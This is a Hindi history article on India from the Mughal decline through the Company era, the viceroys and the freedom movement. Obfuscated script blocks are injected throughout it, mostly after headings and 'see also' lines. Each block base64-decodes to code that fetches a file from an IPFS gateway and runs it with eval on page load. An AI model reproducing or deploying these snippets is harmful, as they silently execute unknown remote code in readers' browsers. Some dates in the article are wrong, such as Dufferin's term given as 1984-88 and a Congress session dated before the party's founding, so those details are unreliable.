इन्हें भी देखें: हेमू, ताजमहल, फ़तेहपुर सीकरी एवं चित्रकला मुग़ल शैली<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आधुनिक काल

मराठा

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अहिल्याबाई होल्कर प्रतिमा, मथुरा

राजपूतों और मुग़लों के योग से उसने अपना साम्राज्य कन्दहार से आसाम की सीमा तक तथा हिमालय की तलहटी से लेकर दक्षिण में अहमदनगर तक विस्तृत कर दिया। उसके पुत्र जहाँगीर जहाँ पौत्र शाहजहाँ कि राज्यकाल में मुग़ल साम्राज्य का विस्तार जारी रहा। शाहजहाँ ने ताजमहल का निर्माण कराया, परन्तु कन्दहार उसके हाथ से निकल गया। अकबर के प्रपौत्र औरंगज़ेब के राज्यकाल में मुग़ल साम्राज्य का विस्तार अपने चरम शिखर पर पहुँच गया और कुछ काल के लिए सारा भारत उसके अंतर्गत हो गया। परन्तु औरंगज़ेब ने जान-बूझकर अकबर की धार्मिक सहिष्णुता की नीति त्याग दी और हिन्दुओं को अपने विरुद्ध कर लिया। उसने हिन्दुस्तान का शासन सिर्फ़ मुसलमानों के हित में चलाने की कोशिश की और हिन्दुओं को ज़बर्दस्ती मुसलमान बनाने का असफल प्रयास किया। इससे राजपूताना, बुंदेलखण्ड तथा पंजाब के हिन्दू उसके विरुद्ध उठ खड़े हुए। महाराष्ट्र में शिवाजी ने 1707 ई. में औरंगज़ेब की मृत्यु से पूर्व ही एक स्वतंत्र हिन्दू राज्य स्थापित कर दिया। औरंगज़ेब अन्तिम शक्तिशाली मुग़ल बादशाह था। उसके उत्तराधिकारी अत्यन्त निर्बल और अयोग्य थे, उनके वज़ीर विश्वासघाती थे। फ़ारस के नादिरशाह ने मुग़ल बादशाहत पर सबसे सांघातिक प्रहार किया। उसने 1739 ई. में भारत पर चढ़ाई की और दिल्ली पर क़ब्ज़ा कर लिया और उसे निर्दयता से पूरी तरह लूटा। उसके हमले से मुग़ल साम्राज्य पूरी तरह जर्जर हो गया और इसके बाद शीघ्रता से उसका विघटन हो गया। अवध, अखण्डित बंगाल तथा दक्षिण के मुसलमान सूबेदारों ने अपने को स्वतंत्र कर लिया। राजपूत राजा भी अर्द्ध-स्वतंत्र हो गये। पेशवा बाजीराव प्रथम के नेतृत्व में मराठों ने मुग़ल साम्राज्य के खंडहरों पर हिन्दू पद पादशाह की स्थापना का प्रयास किया। इन्हें भी देखें: शिवाजी, तानाजी, अहिल्याबाई होल्कर एवं जाटों का इतिहास<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अंग्रेज़

फ़िरंगी लोग समुद्री मार्गों से भारत की ज़मीन पर पैर जमा चुके थेअकबर से लेकर औरंगज़ेब तक मुग़ल बादशाहों ने भारत के इस नये मार्ग का महत्त्व नहीं समझा। इनमें से कोई इन नवांगतुकों की राजनीतिक महत्त्वाकांक्षाओं का अनुमान नहीं लगा सका और उनके जंगी बेड़े का मुक़ाबला करने के लिए एक शक्तिशाली भारतीय जंगी बेड़ा तैयार करने की आवश्यकता को अनुभव नहीं कर सका। इस तरह भारतीयों की ओर से किसी प्रतिरोध का सामना किये बग़ैर सबसे पहले पुर्तग़ाली भारत पहुँचे। उसके बाद डच, अंग्रेज़, फ्राँसीसी आये। सोलहवीं शताब्दी में इन फिरंगियों में आपस में लड़ाइयाँ होती रही, जो अधिकांश समुद्र में हुई। डच और अंग्रेजों ने मिलकर सबसे पहले पुर्तग़ालियों की सामुद्रिक शक्ति को समाप्त किया। इसके बाद डच लोगों को पता चला कि उनके लिए भारत की अपेक्षा मसाले वाले द्वीपों से व्यापार करना अधिक लाभदायी है। इस तरह भारत में सिर्फ़ अंग्रेज़ और फ्राँसीसी लोगों के बीच प्रतिद्वन्द्विता हुई। इन्हें भी देखें: वास्को द गामा<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ईस्ट इंडिया कम्पनी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अठारहवीं शताब्दी के शुरू में अंग्रेजों की ईस्ट इंडिया कम्पनी ने बम्बई (मुम्बई), मद्रास (चेन्नई) तथा कलकत्ता (कोलकाता) पर क़ब्ज़ा कर लिया। उधर फ्राँसीसियों की ईस्ट इंडिया कम्पनी ने माहे, पांडिचेरी तथा चंद्रानगर पर क़ब्ज़ा कर लिया। उन्हें अपनी सेनाओं में भारतीय सिपाहियों को भरती करने की भी इजाज़त मिल गयी। वे इन भारतीय सिपाहियों का उपयोग न केवल अपनी आपसी लड़ाइयों में करते थे बल्कि इस देश के राजाओं के विरुद्ध भी करते थे। इन राजाओं की आपसी प्रतिद्वन्द्विता और कमज़ोरी ने इनकी राजनीतिक महत्त्वाकांक्षा को जाग्रत कर दिया और उन्होंने कुछ देशी राजाओं के विरुद्ध दूसरे देशी राजाओं से संधियाँ कर लीं। 1744-49 ई. में मुग़ल बादशाह की प्रभुसत्ता की पूर्ण उपेक्षा करके उन्होंने आपस में कर्नाटक की दूसरी लड़ाई छेड़ी। एक साल के बाद कर्नाटक की दूसरी लड़ाई शुरू हुई। जिसमें फ्राँसीसी गवर्नर डूप्ले ने पहली लड़ाई से सबक़ लेते हुए न केवल कर्नाटक के प्रशासन पर, बल्कि निज़ाम के राज्य पर भी फ़्राँस का राजनीतिक नियत्रंण स्थापित करने की कोशिश की। परन्तु अंग्रेजों ने उसकी महत्त्वाकांक्षा पूरी नहीं होने दी। अंग्रेजों को बंगाल में भारी सफलता मिली थी। बादशाह औरंगज़ेब की मृत्यु के केवल पचास वर्ष बाद 1757 ई. में राबर्ट क्लाइव के नेतृत्व में अंग्रेजों ने नवाब सिराजुद्दौला के विरुद्ध विश्वासघातपूर्ण राजद्रोहात्मक षड़यंत्र रचकर प्लासी की लड़ाई जीत ली और बंगाल को एक प्रकार से अपनी मुट्ठी में कर लिया। उन्होंने बंगाल की गद्दी पर एक कठपुतली नवाब मीर ज़ाफ़र को बिठा दिया। इसके बाद एक के बाद, तेज़ी से कई घटनाएँ घटीं। इन्हें भी देखें: मैसूर युद्ध एवं टीपू सुल्तान<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पानीपत युद्ध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अहमद शाह अब्दाली ने 1748 से 1760 ई. के बीच भारत पर चढ़ाइयाँ कीं और 1761 ई. में पानीपत की तीसरी लड़ाई जीत कर मुग़ल साम्राज्य का फ़ातिहा पढ़ दिया। उसने दिल्ली पर दख़ल करके उसे लूटा। पानीपत की तीसरी लड़ाई में सबसे अधिक क्षति मराठों को उठानी पड़ी। कुछ समय के लिए उनकी बाढ़ रुक गयी और इस प्रकार वे मुग़ल बादशाहों की जगह ले लेने का मौक़ा खो बैठे। यह लड़ाई वास्तव में मुग़ल साम्राज्य के पतन की सूचक है। इसने भारत में मुग़ल साम्राज्य के स्थान पर ब्रिटिश साम्राज्य की स्थापना में मदद की। अब्दाली को पानीपत में जो फ़तह मिली, उससे न तो वह स्वयं कोई लाभ उठा सका और न उसका साथ देने वाले मुसलमान सरदार। इस लड़ाई से वास्तविक फ़ायदा अंग्रेज़ी ईस्ट इंडिया कम्पनी ने उठाया। इसके बाद कम्पनी को एक के बाद दूसरी सफलताएँ मिलती गयीं।

रेग्युलेटिंग एक्ट

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बंगाल के साधनों से बलशाली होकर अंग्रेजों ने 1760 ई. में वाण्डीवाश की लड़ाई में फ्राँसीसियों को हरा दिया और 1762 ई. में उनसे पांडेचेरी ले लिया। इस प्रकार उन्होंने भारत में फ्राँसीसियों की राजनीतिक शक्ति समाप्त कर दी। 1764 ई. में अंग्रजों ने बक्सर की लड़ाई में बादशाह बहादुर शाह और अवध के नवाब की सम्मिलित सेना को हरा दिया और 1765 ई. में बादशाह से बंगाल, बिहार तथा उड़ीसा की दीवानी प्राप्त कर ली। इसके फलस्वरूप ईस्ट इंडिया कम्पनी को पहली बार बंगाल, उड़ीसा तथा बिहार के प्रशासन का क़ानूनी अधिकार मिल गया। कुछ इतिहासकार इसे भारत में ब्रिटिश राज्य का प्रारम्भ मानते हैं। 1773 ई. में ब्रिटिश पार्लियामेंट ने एक रेग्युलेटिंग एक्ट पास करके भारत में ब्रिटिश प्रशासन को व्यवस्थित रूप देने का प्रयास किया। इस एक्ट के अंतर्गत भारत में कम्पनी क्षेत्रों का प्रशासन गवर्नर-जनरल के अधीन कर दिया गया। उसकी सहायता के लिए चार सदस्यों की कॉउंसिल गठित की गयी। एक्ट में बंगाल के गवर्नर को गवर्नर-जनरल का पद प्रदान किया गया और कलकत्ता में एक सुप्रीम कोर्ट की भी स्थापना की गयी। वारेन हेस्टिंग्स, जो उस समय बंगाल का गवर्नर था, 1773 ई. में पहला गवर्नर-जनरल बनाया गया।

1773 ई. से 1947 ई. तक का काल, जब भारत में ब्रिटिश शासन समाप्त हुआ और भारत स्वाधीन हुआ, दो भागों में बाँटा जा सकता है। पहला, कम्पनी का शासनकाल, जो 1858 ई. तक चला और दूसरा, 1858 से 1947 ई. तक का काल, जब भारत का शासन सीधे ब्रिटेन द्वारा होने लगा।

अंग्रेज़ गवर्नर जनरल और वायसराय
जनरल और वायसराय कार्य / कार्यकाल
अंग्रेज़ गवर्नर जनरल
लॉर्ड विलियम बैंटिक 1833-35 ई.
सर चार्ल्स मैटकाफ (स्थानांपन्न) 1835-36 ई.
आकलैण्ड 1836-42 ई.
लॉर्ड एलनबरो 1842-44 ई.
विलियम विलबर फोर्स बर्ड 1844 ई.
लॉर्ड हार्डिंग 1844-48 ई.
लॉर्ड डलहौज़ी 1848-56 ई.
लॉर्ड कैनिंग 1856-58 ई.
अंग्रेज़ गवर्नर जनरल और वायसराय
लॉर्ड कैनिंग 1858-62 ई.
लॉर्ड एल्गिन प्रथम 1862-63 ई.
सर रार्बट नेपियर (स्थानापन्न) 1863 ई.
सर विलियम टी. डेनिसन (स्थानापन्न) 1863 ई.
सर जॉन लारेन्स 1864-68 ई.
लॉर्ड मेयो 1869-72 ई.
सर जॉन स्ट्रेची (स्थानापन्न) 1872 ई.
लॉर्ड नार्थब्रुक 1872-76 ई.
लॉर्ड लिटन प्रथम 1876-80 ई.
मार्क्विस ऑफ़ रिपन 1880-84 ई.
अर्ल ऑफ़ डफ़रिन 1984-88 ई.
लॉर्ड लैन्सडाउन 1988-94 ई.
लॉर्ड एल्गिन द्वितीय 1894-99 ई.
लॉर्ड कर्ज़न 1899-1905 ई.
लॉर्ड एम्पिराय (स्थानापन्न) 1904 ई.
लॉर्ड कर्ज़न 1904-05 ई.
लॉर्ड मिन्टो द्वितीय 1905-10 ई.
लॉर्ड हार्डिंग्स 1910-16 ई.
लॉर्ड चैम्सफोर्ड 1916-21 ई.
लॉर्ड रीडिंग 1921-25 ई.
लॉर्ड लिटन द्वितीय (स्थानापान्न)
लॉर्ड इरविन 1926-31 ई.
लॉर्ड विलिंगडन 1931-34 ई.
सर जॉर्ज स्टेनले 1934 ई.
लॉर्ड लिनलिथगो 1934-37 ई.
वैरन व्रेवर्न (स्थानापन्न) 1938 ई.
लॉर्ड लिनलिथगो 1938-43 ई.
लॉर्ड वेवेल 1943-47 ई.
लॉर्ड माउण्टबेटेन 1947 ई.
अंग्रेज़ जनरल एवं वायसरायों से सम्बन्धित कार्य
वारेन हेस्टिंग्स रेवेन्यू, फ़ौजदारी व अपीली न्यायालयों की स्थापना
लॉर्ड कार्नवालिस स्थायी भूमि बन्दोबस्त
लॉर्ड वेलेजली सहायक संधि प्रणाली
विलियम बैंटिक सती प्रथा की समाप्ति
चार्ल्स मेटकाफ प्रेस पर प्रतिबन्ध की समाप्ति
लॉर्ड एलनबरो सिन्ध का विलय
लॉर्ड डलहौज़ी रेल, आधुनिक डाक, तार व पी. डब्ल्यू. डी. की स्थापना
लॉर्ड कैनिंग कलकत्ता, बम्बई व मद्रास विश्वविद्यालय की स्थापना
लॉर्ड लिटन दिल्ली दरबार, वर्नाक्यूलर प्रेस एक्ट, आर्म्स एक्ट
लॉर्ड रिपन प्रथम कारखाना अधिनियम, इल्बर्ट बिल
लॉर्ड कर्ज़न बंगाल विभाजन, प्राचीन स्मारक संरक्षण क़ानून,

भारतीय विश्वविद्यालय क़ानून

लॉर्ड मिन्टो द्वितीय पृथक निर्वाचन क्षेत्र की व्यवस्था
लॉर्ड हार्डिंग भारत की राजधानी कलकत्ता से दिल्ली स्थानांतरित
लॉर्ड चेम्सफोर्ड रौलेट एक्ट, जलियाँवाला बाग़ ह्त्याकाण्ड
लॉर्ड इरविन गाँधी इरविन समझौता (1931 ई.)
लॉर्ड विलिंगडन कम्यूनल अवार्ड (1932 ई.)
लॉर्ड लिनलिथगो प्रान्तीय चुनाव
लॉर्ड वेवेल शिमला सम्मेलन, कैबिनेट मिशन, संविधान सभा की स्थापना
लॉर्ड माउण्टबेटेन भारत विभाजन एवं भारत की स्वतंत्रता

गवर्नर-जनरलों का समय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कम्पनी के शासन काल में भारत का प्रशासन एक के बाद एक बाईस गवर्नर-जनरलों के हाथों में रहा। इस काल के भारतीय इतिहास की सबसे उल्लेखनीय घटना यह है कि कम्पनी युद्ध तथा कूटनीति के द्वारा भारत में अपने साम्राज्य का उत्तरोत्तर विस्तार करती रही। मैसूर के साथ चार लड़ाइयाँ, मराठों के साथ तीन, बर्मा (म्यांमार) तथा सिखों के साथ दो-दो लड़ाइयाँ तथा सिंध के अमीरों, गोरखों तथा अफ़ग़ानिस्तान के साथ एक-एक लड़ाई छेड़ी गयी।

इनमें से प्रत्येक लड़ाई में कम्पनी को एक या दूसरे देशी राजा की मदद मिली। उसने जिन फ़ौजों से लड़ाई की उनमें से अधिकांश भारतीय सिपाही थे और लड़ाई का ख़र्च पूरी तरह भारतीय करदाता को उठाना पड़ा। इन लड़ाइयों के फलस्वरूप 1857 ई. तक सारे भारत पर सीधे कम्पनी का प्रभुत्व स्थापित हो गया। दो-तिहाई भारत पर देशी राज्यों का शासन बना रहा। परन्तु उन्होंने कम्पनी का सार्वभौम प्रभुत्व स्वीकार कर लिया और अधीनस्थ तथा आश्रित मित्र राजा के रूप में अपनी रियासत का शासन चलाते रहे।

प्रथम स्वतंत्रता संग्राम

इस काल में सती प्रथा का अन्त कर देने के समान कुछ सामाजिक सुधार के भी कार्य किये गये। राजा राममोहन राय ने सती प्रथा जैसी अमानवीय प्रथा के विरुद्ध निरन्तर आन्दोलन चलाया। उनके पूर्ण और निरन्तर समर्थन का ही प्रभाव था, जिसके कारण लॉर्ड विलियम बैंटिक 1829 में सती प्रथा को बन्द कराने में समर्थ हो सका। अंग्रेज़ी के माध्यम से पश्चिम शिक्षा के प्रसार की दिशा में क़दम उठाये गये, अंग्रेज़ी देश की राजभाषा बना दी गयी, सारे देश में समान ज़ाब्ता दीवानी और ज़ाब्ता फ़ौजदारी क़ानून लागू कर दिया गया, परन्तु शासन स्वेच्छाचारी बना रहा और वह पूरी तरह अंग्रेज़ों के हाथों में रहा। 1833 के चार्टर एक्ट के विपरीत ऊँचे पदों पर भारतीयों को नियुक्त नहीं किया गया। भाप से चलने वाले जहाज़ों और रेलगाड़ियों का प्रचलन, ईसाई मिशनरियों द्वारा आक्षेपजनक रीति से ईसाई धर्म का प्रचार, लॉर्ड डलहौज़ी द्वारा ज़ब्ती का सिद्धांत लागू करके अथवा कुशासन के आधार पर कुछ पुरानी देशी रियासतों की ज़ब्ती तथा ब्रिटिश भारतीय सेना के भारतीय सिपाहियों की शिकायतें; इन सब कारणों ने मिलकर सारे भारत में एक गहरे असंतोष की आग धधका दी, जो 1857-58 ई. में क्रांति के रूप में भड़क उठी।

अन्तिम मुग़ल बहादुर शाह ज़फ़र, झांसी की रानी लक्ष्मीबाई, तांत्या टोपे (रामचंन्द्र पांडुरंग), बिहार के बाबू कुँवरसिंह, महाराष्ट्र से नाना साहिब, इस प्रथम क्रान्ति के प्रयास के नायक थे किन्तु प्रयास विफल हो गया। अधिकांश देशी राजाओं ने अपने को क्रांति से अलग रखा। कम्पनी को बलपूर्वक क्रांति को कुचल देने में सफलता मिली, परन्तु क्रांति के बाद ब्रिटिश पार्लियामेंट ने भारत पर कम्पनी का शासन समाप्त कर दिया। भारत का शासन अब सीधे ब्रिटेन के द्वारा किया जाने लगा। इन्हें भी देखें: झांसी की रानी लक्ष्मीबाई, तात्या टोपे, राजा राममोहन राय एवं सती प्रथा<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भारतीय राष्ट्रीय कांग्रेस की स्थापना

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भारतीय राष्ट्रीय कांग्रेस का ध्वज, 1931

इस प्रकार भारत में ब्रिटिश शासन का दूसरा काल (1858-1947 ई.) आरम्भ हुआ। इस काल का शासन एक के बाद इकत्तीस गवर्नर-जनरलों के हाथों में रहा। गवर्नर-जनरल को अब वाइसराय (ब्रिटिश सम्राट का प्रतिनिधि) कहा जाने लगा। लॉर्ड कैनिंग पहला वाइसराय तथा गवर्नर-जनरल नियुक्त हुआ। इस काल के भारतीय इतिहास की सबसे प्रमुख घटना है—भारत में राष्ट्रवादी भावना का उदय और 1947 ई. में भारत की स्वाधीनता के रूप में अंतिम विजय। 1857 ई. में कलकत्ता (कोलकाता), मद्रास (चेन्नई) तथा बम्बई (मुम्बई) में विश्वविद्यालयों की स्थापना के बाद शिक्षा का प्रसार होने लगा तथा 1869 ई. में स्वेज़ नहर खुलने के बाद इंग्लैण्ड तथा यूरोप से निकट सम्पर्क स्थापित हो जाने से भारत में नये मध्यवर्ग का विकास हुआ। यह मध्य वर्ग पश्चिमी दर्शन शास्त्र, राजनीति शास्त्र तथा अर्थशास्त्र के विचारों से प्रभावित था और ब्रिटिश शासन में भारतीयों को जो नीचा दर्जा मिला हुआ था, उससे रुष्ट था।

ब्रिटिश में स्थापित शान्ति के फलस्वरूप यह वर्ग सारे भारत को एक देश तथा समस्त भारतीयों को एक क़ौम मानने लगा और ब्रिटेन की भाँति संसदीय शासन प्रणाली की स्थापना उसका लक्ष्य बन गया। वह एक ऐसे संगठन की आवश्यकता महसूस करने लगा जो समस्त भारतीय राष्ट्र का प्रतिनिधित्व कर सके।

इसके फलस्वरूप 1885 ई. में बम्बई में भारतीय राष्ट्रीय कांग्रेस की स्थापना हुई जिसमें देश के समस्त भागों से 71 प्रतिनिधियों ने भाग लिया। कांग्रेस का दूसरा अधिवेशन 1883 ई. में कलकत्ता में हुआ, जिसमें सारे देश से निर्वाचित 434 प्रतिनिधियों ने भाग लिया। इस अधिवेशन में माँग की गयी कि भारत में केन्द्रीय तथा प्रांतीय विधानमंडलों का विस्तार किया जाये और उसके आधे सदस्य निर्वाचित भारतीय हों। कांग्रेस हर साल अपने अधिवेशनों में अपनी माँगें दोहराती रही। लॉर्ड डफ़रिन ने कांग्रेस पर व्यंग्य करते हुए उसे ऐसे अल्पसंख्यक वर्ग का प्रतिनिधित्व करने वाली संस्था बताया जिसे सिर्फ़ ख़ुर्दबीन से देखा जा सकता है। लॉर्ड लैन्सडाउन ने उसके प्रति पूर्ण उपेक्षा की नीति बरती, लॉर्ड कर्ज़न ने उसका खुलेआम मज़ाक उड़ाया तथा लॉर्ड मिन्टो द्वितीय ने 1909 के इंडियन कॉउंसिल एक्ट द्वारा स्थापित विधानमंडलों में मुसलमानों को अनुचित रीति से अनुपात से अधिक प्रतिनिधित्व देकर उन्हें फोड़ने तथा कांग्रेस को तोड़ने की कोशिश की, फिर भी कांग्रेस जिन्दा रही।

प्रारम्भिक सफलता

कांग्रेस को पहली मामूली सफलता 1909 में मिली, जब इंग्लैण्ड में भारतमंत्री के निर्देशन में काम करने वाली भारत परिषद में दो भारतीय सदस्यों की नियुक्ति पहली बार की गयी, वाइसराय की एक्जीक्यूटिव काउंसिल में पहली बार एक भारतीय सदस्य की नियुक्ति की गयी तथा इंडियन काउंसिल एक्ट के द्वारा केन्द्रीय तथा प्रान्तीय विधानमंडलों का विस्तार कर दिया गया तथा उनमें निर्वाचित भारतीय प्रतिनिधियों का अनुपात पहले से अधिक बढ़ा दिया गया। इन सुधारों के प्रस्ताव लॉर्ड मार्ले ने हालाँकि भारत में संसदीय संस्थाओं की स्थापना करने का कोई इरादा होने से इन्कार किया, फिर भी एक्ट में जो व्यवस्थाएँ की गयीं थी, उनका उद्देश्य उसी दिशा में आगे बढ़ने के सिवा और कुछ नहीं हो सकता था। 1911 ई. में लॉर्ड कर्ज़न के द्वारा 1905 ई. में किया बंगाल का विभाजन रद्द कर दिया गया और भारत ने ब्रिटेन का पूरा साथ दिया। भारत ने युद्ध को जीतने के लिए ब्रिटेन की फ़ौजों से, धन से तथा समाग्री से मदद की। भारत आशा करता था कि इस राजभक्ति प्रदर्शन के बदले युद्ध से होने वाले लाभों में उसे भी हिस्सा मिलेगा।

द्वैधशासन प्रणाली

भारत के लिए स्वशासन की माँग करने में पहली बार भारतीय मुसलमान भी हिन्दुओं के साथ संयुक्त हो गये और अगस्त 1917 ई. में ब्रिटिश सरकार ने घोषणा की कि भारत में ब्रिटेश शासन की नीति है कि शासन की प्रत्येक शाखा में भारतीयों को अधिकारिक स्थान दिया जाय तथा स्वायत्त शासन का क्रमिकरूप से विकास किया जाय, ताकि ब्रिटिश साम्राज्य के अंतर्गत भारत में उत्तरदायी सरकार की उत्तरोत्तर स्थापना हो सके। इस घोषणा के अनुसार 1919 का गवर्नमेण्ट आफ इंडिया एक्ट पास किया गया। इस एक्ट के द्वारा विधान मंडलों का विस्तार कर दिया गया और अब उनके बहुसंख्य सदस्य भारतीय जनता के निर्वाचित प्रतिनिधि होने लगे। एक्ट के द्वारा केन्द्रीय तथा प्रान्तीय सरकारों के कार्यों का विभाजन कर दिया गया और प्रान्तों में द्वैधशासन प्रणाली लागू करके कार्यपालिका को आंशिक रीति से विधानमंडल के प्रति उत्तरदायी बना दिया गया। इस एक्ट के द्वारा भारत ने सुनिश्चित रीति से प्रगति की। भारतीय के इतिहास में पहली बार एक ऐसी संस्था की स्थापना की गयी, जिसके द्वारा ब्रिटिश भारत के निर्वाचित प्रतिनिधि सरकारी आधार पर एकत्र हो सकते थे। पहली बार उनका बहुमत स्थापित कर दिया गया और अब वे सरकार के कार्यों की निर्भयतापूर्वक आलोचना कर सकते थे।

असहयोग और सत्याग्रह

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इन सुधारों से पुराने कांग्रेसजन संतुष्ट हो गये, परन्तु नव युवकों का दल, जिसे मोहनदास करमचंद गाँधी के रूप में एक नया नेता मिल गया था, संतुष्ट नहीं हुआ। इन सुधारों के अंतर्गत केन्द्रीय कार्यपालिका को केन्द्रीय विधान मंडल के प्रति उत्तरदायी नहीं बनाया गया था और वाइसराय को बहुत अधिक अधिकार प्रदान कर दिये गये थे। अतएव उसने इन सुधारों को अस्वीकृत कर दिया। उसके मन में जो आशंकाएँ थीं, वे ग़लत नहीं थी, यह 1919 के एक्ट के बाद ही पास किये गये रौलट एक्ट जैसे दमनकारी क़ानूनों तथा जलियाँवाला बाग़ हत्याकांण्ड जैसे दमनमूलक कार्यों से सिद्ध हो गया। जलियाँवाला बाग़ हत्याकांड के 21 साल बाद 13 मार्च 1940 को 'रॉयल सेंट्रल एशियन सोसायटी' की लंदन के 'कॉक्सटन हॉल' में बैठक में ऊधमसिंह ने माइकल ओ डायर पर गोलियाँ चला दीं। जिससे उसकी तुरन्त मौत हो गई। चंद्रशेखर आज़ाद, राजगुरु, सुखदेव और भगतसिंह जैसे महान क्रांतिकारियों ने ब्रिटिश शासन को ऐसे घाव दिये जिन्हें ब्रिटिश शासक बहुत दिनों तक नहीं भूल पाए। कांग्रेस ने 1920 ई. में अपने नागपुर अधिवेशन में अपना ध्येय पूर्ण स्वराज्य की स्थापना घोषित कर दी और अपनी माँगों को मनवाने के लिए उसने अहिंसक असहयोंग की नीति अपनायी। चूंकि ब्रिटिश सरकार ने उसकी माँगें स्वीकार नहीं की और दमनकारी नीति के द्वारा वह असहयोग आंदोलन को दबा देने में सफल हो गयी। इसलिए कांग्रेस ने दिसम्बर 1929 ई. में लाहौर अधिवेशन में अपना लक्ष्य पूर्ण स्वीधीनता निश्चित किया और अपनी माँग का मनवाने के लिए उसने 1930 में नमक सत्याग्रह आंदोलन शुरू कर दिया।

द्वितीय विश्वयुद्ध

सरकार ने पहले की तरह आंदोलन को दबाने के लिए दमन और समझौते के दोनों रास्ते अख़्तियार किये और 1935 का गवर्नेण्ट आफ इंडिया एक्ट पास किया। इस एक्ट के द्वारा ब्रिटश भारत तथा देशी रियासतों के लिए सम्मिलित रूप से एक संघीय शासन का प्रस्ताव किया, केन्द्र में एक प्रकार के द्वैध शासन की स्थापना की गयी तथा प्रान्तों को स्वशासन प्रदान कर दिया गया। एक्ट का प्रान्तों से सम्बन्धित भाग लागू कर दिया गया तथा अप्रैल 1937 ई. में प्रान्तीय स्वशासन का श्रीगणेश कर दिया गया। परन्तु एक्ट के संघ सरकार से सम्बन्धित भाग के लागू होने से पहले ही सितम्बर 1939 ई. में द्वितीय विश्वयुद्ध शुरू हो गया जो 1945 ई. तक जारी रहा। यह विश्वव्यापी युद्ध था और ब्रिटेन को अपने सारे साधन उसमें झोंक देने पड़े। भारत ने ब्रिटेन का साथ दिया और भारत के पास जन और धन की जो विशाल शक्ति थी उससे लाभ उठाकर तथा अमरीका की सहायता से ब्रिटेन युद्ध जीत गया। गाँधी जी के अमित प्रभाव तथा अहिंसा में उनकी दृढ़ निष्ठा के कारण भारत ने यद्यपि ब्रिटिश सम्बन्ध को बनाये रखा, फिर भी यह स्पष्ट हो गया कि भारत अब ब्रिटिश साम्राज्य की अधीनता में नहीं रहना चाहता।

सम्प्रदायिक दंगे

